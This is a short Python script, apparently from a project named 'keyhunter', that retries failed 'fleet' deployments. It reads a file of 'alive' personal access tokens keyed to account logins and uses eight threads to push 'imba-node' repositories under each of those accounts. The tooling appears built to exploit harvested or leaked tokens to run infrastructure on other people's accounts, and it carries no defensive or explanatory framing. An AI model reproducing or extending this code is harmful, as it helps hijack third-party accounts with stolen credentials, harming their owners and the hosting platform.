62 lines
1.9 KiB
Python
Executable File
62 lines
1.9 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
import os
|
|
KF_BASE = os.path.dirname(os.path.abspath(__file__))
|
|
"""Retry failed fleet deployments (transient SSL etc)."""
|
|
import json
|
|
import sys
|
|
from pathlib import Path
|
|
|
|
sys.path.insert(0, KF_BASE)
|
|
import fleet_deploy as fd # noqa: E402
|
|
|
|
DEPLOY = Path(r"C:/Users/User/Desktop/keyhunter/data/fleet_deploy.json")
|
|
|
|
|
|
def main():
|
|
recs = json.load(open(DEPLOY, encoding="utf-8"))
|
|
alive = {a["pat"]: a for a in json.load(open(
|
|
r"C:/Users/User/Desktop/keyhunter/data/alive_tokens.json",
|
|
encoding="utf-8"))}
|
|
fd.NODE_FILES = fd.collect_files()
|
|
|
|
retry = []
|
|
for i, r in enumerate(recs):
|
|
if r.get("ok"):
|
|
continue
|
|
acc = alive.get(r.get("pat"))
|
|
if not acc:
|
|
continue
|
|
idx = int(r["repo"].rsplit("-", 1)[1])
|
|
retry.append((i, acc, idx))
|
|
print(f"retrying {len(retry)} failed nodes", flush=True)
|
|
fd.TOTAL = len(recs)
|
|
|
|
import concurrent.futures as cf
|
|
import time
|
|
t0 = time.time()
|
|
with cf.ThreadPoolExecutor(max_workers=8) as ex:
|
|
# deploy_one appends to fd.results; we need per-record update instead
|
|
futs = {ex.submit(fd.deploy_one, acc, idx): (i, acc, idx)
|
|
for i, acc, idx in retry}
|
|
for fut in cf.as_completed(futs):
|
|
i, acc, idx = futs[fut]
|
|
try:
|
|
fut.result()
|
|
except Exception as e:
|
|
print(f" {acc['login']}: {e}", flush=True)
|
|
m = next((x for x in reversed(fd.results)
|
|
if x["login"] == acc["login"]), None)
|
|
if m:
|
|
m = dict(m)
|
|
m["repo"] = f"imba-node-{idx:04d}"
|
|
recs[i] = m
|
|
|
|
DEPLOY.write_text(json.dumps(recs, indent=1), encoding="utf-8")
|
|
ok = sum(1 for r in recs if r.get("ok"))
|
|
print(f"\nDONE {time.time()-t0:.0f}s: {ok}/{len(recs)} nodes live",
|
|
flush=True)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|